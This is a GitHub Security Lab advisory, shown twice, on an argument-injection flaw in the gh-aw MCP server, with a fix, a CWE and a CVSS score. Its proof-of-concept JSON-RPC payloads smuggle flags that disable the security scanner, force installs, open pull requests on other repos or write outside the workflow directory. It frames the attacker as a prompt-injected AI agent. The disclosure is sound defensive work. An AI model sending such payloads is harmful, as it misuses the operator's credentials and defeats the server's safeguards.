GitHub Security Lab (GHSL) Vulnerability Report, gh-aw: GHSL-2026-180
The GitHub Security Lab team has identified a potential security vulnerability in gh-aw.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2026-180 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
Summary
The gh aw mcp-server MCP tool handlers append client-supplied strings verbatim into the argv of spawned gh aw <subcmd> child processes without a -- separator or leading-- rejection. A less-trusted MCP client can smuggle forbidden flags (e.g. --force, --disable-security-scanner, --create-pull-request, --repo, --approve) into the child cobra process, escaping the MCP sandbox and abusing the operator's gh credentials.
Project
gh-aw
Tested Version
846c520
Details
Argv flag injection from MCP client into spawned gh aw subcommands (GHSL-2026-180)
Each MCP tool handler builds a []string argv, appends MCP-client-supplied string values directly as positional args, and invokes execCmd() (pkg/cli/mcp_server.go:21-28) → exec.CommandContext(<gh-aw>, args...). No handler rejects values starting with -, none inserts a -- separator, and SetInterspersed(false) is never called on any child command, so cobra/pflag parses any --prefixed positional as a flag.
Vulnerable sinks:
cmdArgs := []string{"add"}
// ...
cmdArgs = append(cmdArgs, args.Workflows...) // untrusted []string forwarded verbatim
// ...
cmd := execCmd(ctx, cmdArgs...)
Child flags include --create-pull-request, --force, --disable-security-scanner, --dir (see pkg/cli/add_command.go).
cmdArgs := []string{"update"}
cmdArgs = append(cmdArgs, args.Workflows...)
execCmd(ctx, cmdArgs...)
Child flags include --repo, --create-pull-request, --disable-security-scanner, --dir.
cmdArgs := []string{"fix"}
cmdArgs = append(cmdArgs, args.Workflows...)
execCmd(ctx, cmdArgs...)
Child flags include --dir, --write.
cmdArgs := []string{"compile", "--validate", "--json"}
// ...
cmdArgs = append(cmdArgs, args.Workflows...)
// ...
cmdArgs = append(cmdArgs, "--prior-manifest-file", cached)
execCmd(ctx, cmdArgs...)
Child flags include --approve, --purge, --dir, --trial, --staged.
cmdArgs := []string{"mcp", "inspect"}
cmdArgs = append(cmdArgs, args.WorkflowFile)
execCmd(ctx, cmdArgs...)
Child flags include --inspector, --server, --tool.
cmdArgs := []string{"audit"}
cmdArgs = append(cmdArgs, runItems...)
// hard-coded -o and --json appended after
execCmd(ctx, cmdArgs...)
normalizeAuditRunInput does not reject leading -. When GITHUB_REPOSITORY is unset, --repo can be injected.
cmdArgs := []string{"audit", "diff", args.BaseRunID}
cmdArgs = append(cmdArgs, args.CompareRunIDs...)
execCmd(ctx, cmdArgs...)
Proof of concept
Preconditions: the operator has started gh aw mcp-server (either stdio, e.g. via .github/mcp.json from an AI coding assistant, or HTTP via gh aw mcp-server --port N).
A less-trusted MCP client (e.g., an AI agent under indirect prompt injection) sends a tools/call JSON-RPC frame:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "add",
"arguments": {
"workflows": [
"--force",
"--disable-security-scanner",
"--create-pull-request",
"attacker-org/malicious/exfil-secrets"
]
}
}
}
The add handler at pkg/cli/mcp_tools_management.go:57-71 builds argv ["add","--force","--disable-security-scanner","--create-pull-request","attacker-org/malicious/exfil-secrets"] and spawns it. The child gh-aw add cobra command parses the smuggled tokens as flags: opts.Force=true, opts.DisableSecurityScanner=true, opts.CreatePR=true. This installs a workflow that would normally be rejected by workflow.ScanMarkdownSecurity(), then pushes a branch and opens a PR using the operator's authenticated gh token.
Other confirmed variants:
compile with {"workflows":["--approve","foo"]} → child parses --approve, disabling the safe-update enforcement anchored by the server-side --prior-manifest-file baseline.
update with {"workflows":["--repo","some/other-repo","--create-pull-request","--disable-security-scanner"]} → clones an arbitrary repo, opens a PR with the operator's credentials.
fix with {"workflows":["--dir","../some/other/dir","--write"]} → applies codemods and deletes files outside .github/workflows.
mcp-inspect with {"workflow_file":"--inspector"} → child launches npx @modelcontextprotocol/inspector on the operator's machine.
The primitive was confirmed by directly invoking the add command's cobra parser with {"workflows":["--dir","/tmp/escape","--force","--disable-security-scanner","payload"]}, which produced force=true disable-security-scanner=true dir="/tmp/escape". Inserting a "--" before the client positionals caused every element to be treated as a literal workflow spec (control).
Impact
A less-trusted MCP client (an AI agent under indirect prompt injection, or any local process able to reach --port N) can enable flags the trust model explicitly forbids: --create-pull-request, --force, --disable-security-scanner, --repo, --dir, --approve, --purge. This allows the client to (a) perform GitHub-side write operations (push branches, open PRs, target arbitrary repos) using the operator's authenticated gh credentials, (b) disable the workflow Markdown security scanner and install workflows that would otherwise be rejected as malicious, (c) bypass the compile-time safe-update manifest baseline the MCP server was specifically designed to enforce (letting the client add new restricted secrets or unapproved third-party actions to .lock.yml), (d) launch helper tools such as the MCP Inspector via npx, and (e) write outside the intended .github/workflows directory via --dir.
Remediation
For every handler that forwards MCP-client-supplied strings into argv, insert a literal "--" separator before the untrusted positional values so cobra/pflag stops flag parsing, AND/OR reject any value beginning with -. For example:
cmdArgs = append(cmdArgs, "--")
cmdArgs = append(cmdArgs, args.Workflows...)
Apply this to:
pkg/cli/mcp_tools_management.go L60 (add), L144 (update), L226 (fix)
pkg/cli/mcp_tools_readonly.go L209 (compile), L317 (mcp-inspect)
pkg/cli/mcp_tools_privileged.go L387 (audit), L528-529 (audit-diff)
Note that inserting -- alone is sufficient only if flags appended by the server come before the -- marker; server-controlled trailing flags (e.g. --prior-manifest-file, -o) must be placed before the -- or the leading-- rejection approach must additionally be used.
CWEs
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
GitHub Security Advisories
This report was submitted through private vulnerability reporting, so it already exists as a draft repository security advisory on this repository. Accepting it lets you collaborate with the GHSL team in private, add the affected package and version range, request a CVE, and publish once a fix is available.
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent as part of Project Glasswing, a cross-industry initiative to secure critical open-source software using frontier AI models, and manually verified by @anticomputer (Bas).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-180 in any communication regarding this issue.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Patched release
The fix is included in v0.91.12, published on October 14, 2026 (UTC). This release is marked as a pre-release. Upgrade to v0.91.12 or a later release containing this fix.
Fix pull request: #68541. The merged fix commit is confirmed to be an ancestor of the v0.91.12 tag.
CVSS v4.0 severity assessment
CVSS-B 9.2 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:N
The vulnerable system is the gh-aw MCP execution/workspace environment; subsequent systems are GitHub repositories accessible through the operator credentials. Scoring starts with a low-trust client already able to invoke the local stdio/loopback MCP interface (AV:L, PR:L), not an unauthenticated Internet attacker. Flag injection is deterministic (AC:L, AT:N) and needs no additional human approval after client access (UI:N). Repository/log targeting can expose sensitive data returned through the service (VC:H); scanner/manifest bypass and directory override allow serious unauthorized workspace changes (VI:H), with limited workflow/file availability loss (VA:L). Credential-backed cross-repository reads and branch/workflow writes support SC:H and SI:H. No separate downstream availability loss is assumed (SA:N). Arbitrary host shell execution through the separate inspection vulnerability is not required or counted.
This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.
GitHub Security Lab (GHSL) Vulnerability Report, gh-aw:
GHSL-2026-180The GitHub Security Lab team has identified a potential security vulnerability in gh-aw.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
securitylab@github.com(please includeGHSL-2026-180as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.If you are NOT the correct point of contact for this report, please let us know!
Summary
The
gh aw mcp-serverMCP tool handlers append client-supplied strings verbatim into the argv of spawnedgh aw <subcmd>child processes without a--separator or leading--rejection. A less-trusted MCP client can smuggle forbidden flags (e.g.--force,--disable-security-scanner,--create-pull-request,--repo,--approve) into the child cobra process, escaping the MCP sandbox and abusing the operator'sghcredentials.Project
gh-aw
Tested Version
846c520
Details
Argv flag injection from MCP client into spawned
gh awsubcommands (GHSL-2026-180)Each MCP tool handler builds a
[]stringargv, appends MCP-client-supplied string values directly as positional args, and invokesexecCmd()(pkg/cli/mcp_server.go:21-28) →exec.CommandContext(<gh-aw>, args...). No handler rejects values starting with-, none inserts a--separator, andSetInterspersed(false)is never called on any child command, so cobra/pflag parses any--prefixed positional as a flag.Vulnerable sinks:
addtool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_management.go#L57-L71Child flags include
--create-pull-request,--force,--disable-security-scanner,--dir(seepkg/cli/add_command.go).updatetool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_management.go#L141-L155Child flags include
--repo,--create-pull-request,--disable-security-scanner,--dir.fixtool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_management.go#L223-L237Child flags include
--dir,--write.compiletool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_readonly.go#L183-L224Child flags include
--approve,--purge,--dir,--trial,--staged.mcp-inspecttool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_readonly.go#L314-L332Child flags include
--inspector,--server,--tool.audittool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_privileged.go#L386-L407normalizeAuditRunInputdoes not reject leading-. WhenGITHUB_REPOSITORYis unset,--repocan be injected.audit-difftool — https://github.com/github/gh-aw/blob/846c520/pkg/cli/mcp_tools_privileged.go#L528-L539Proof of concept
Preconditions: the operator has started
gh aw mcp-server(either stdio, e.g. via.github/mcp.jsonfrom an AI coding assistant, or HTTP viagh aw mcp-server --port N).A less-trusted MCP client (e.g., an AI agent under indirect prompt injection) sends a
tools/callJSON-RPC frame:{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "add", "arguments": { "workflows": [ "--force", "--disable-security-scanner", "--create-pull-request", "attacker-org/malicious/exfil-secrets" ] } } }The
addhandler atpkg/cli/mcp_tools_management.go:57-71builds argv["add","--force","--disable-security-scanner","--create-pull-request","attacker-org/malicious/exfil-secrets"]and spawns it. The childgh-aw addcobra command parses the smuggled tokens as flags:opts.Force=true,opts.DisableSecurityScanner=true,opts.CreatePR=true. This installs a workflow that would normally be rejected byworkflow.ScanMarkdownSecurity(), then pushes a branch and opens a PR using the operator's authenticatedghtoken.Other confirmed variants:
compilewith{"workflows":["--approve","foo"]}→ child parses--approve, disabling the safe-update enforcement anchored by the server-side--prior-manifest-filebaseline.updatewith{"workflows":["--repo","some/other-repo","--create-pull-request","--disable-security-scanner"]}→ clones an arbitrary repo, opens a PR with the operator's credentials.fixwith{"workflows":["--dir","../some/other/dir","--write"]}→ applies codemods and deletes files outside.github/workflows.mcp-inspectwith{"workflow_file":"--inspector"}→ child launchesnpx @modelcontextprotocol/inspectoron the operator's machine.The primitive was confirmed by directly invoking the
addcommand's cobra parser with{"workflows":["--dir","/tmp/escape","--force","--disable-security-scanner","payload"]}, which producedforce=true disable-security-scanner=true dir="/tmp/escape". Inserting a"--"before the client positionals caused every element to be treated as a literal workflow spec (control).Impact
A less-trusted MCP client (an AI agent under indirect prompt injection, or any local process able to reach
--port N) can enable flags the trust model explicitly forbids:--create-pull-request,--force,--disable-security-scanner,--repo,--dir,--approve,--purge. This allows the client to (a) perform GitHub-side write operations (push branches, open PRs, target arbitrary repos) using the operator's authenticatedghcredentials, (b) disable the workflow Markdown security scanner and install workflows that would otherwise be rejected as malicious, (c) bypass the compile-time safe-update manifest baseline the MCP server was specifically designed to enforce (letting the client add new restricted secrets or unapproved third-party actions to.lock.yml), (d) launch helper tools such as the MCP Inspector vianpx, and (e) write outside the intended.github/workflowsdirectory via--dir.Remediation
For every handler that forwards MCP-client-supplied strings into argv, insert a literal
"--"separator before the untrusted positional values so cobra/pflag stops flag parsing, AND/OR reject any value beginning with-. For example:Apply this to:
pkg/cli/mcp_tools_management.goL60 (add), L144 (update), L226 (fix)pkg/cli/mcp_tools_readonly.goL209 (compile), L317 (mcp-inspect)pkg/cli/mcp_tools_privileged.goL387 (audit), L528-529 (audit-diff)Note that inserting
--alone is sufficient only if flags appended by the server come before the--marker; server-controlled trailing flags (e.g.--prior-manifest-file,-o) must be placed before the--or the leading--rejection approach must additionally be used.CWEs
GitHub Security Advisories
This report was submitted through private vulnerability reporting, so it already exists as a draft repository security advisory on this repository. Accepting it lets you collaborate with the GHSL team in private, add the affected package and version range, request a CVE, and publish once a fix is available.
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent as part of Project Glasswing, a cross-industry initiative to secure critical open-source software using frontier AI models, and manually verified by @anticomputer (Bas).
Contact
You can contact the GHSL team at
securitylab@github.com, please include a reference toGHSL-2026-180in any communication regarding this issue.Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Patched release
The fix is included in v0.91.12, published on October 14, 2026 (UTC). This release is marked as a pre-release. Upgrade to v0.91.12 or a later release containing this fix.
Fix pull request: #68541. The merged fix commit is confirmed to be an ancestor of the v0.91.12 tag.
CVSS v4.0 severity assessment
CVSS-B 9.2 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:NThe vulnerable system is the gh-aw MCP execution/workspace environment; subsequent systems are GitHub repositories accessible through the operator credentials. Scoring starts with a low-trust client already able to invoke the local stdio/loopback MCP interface (AV:L, PR:L), not an unauthenticated Internet attacker. Flag injection is deterministic (AC:L, AT:N) and needs no additional human approval after client access (UI:N). Repository/log targeting can expose sensitive data returned through the service (VC:H); scanner/manifest bypass and directory override allow serious unauthorized workspace changes (VI:H), with limited workflow/file availability loss (VA:L). Credential-backed cross-repository reads and branch/workflow writes support SC:H and SI:H. No separate downstream availability loss is assumed (SA:N). Arbitrary host shell execution through the separate inspection vulnerability is not required or counted.
This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.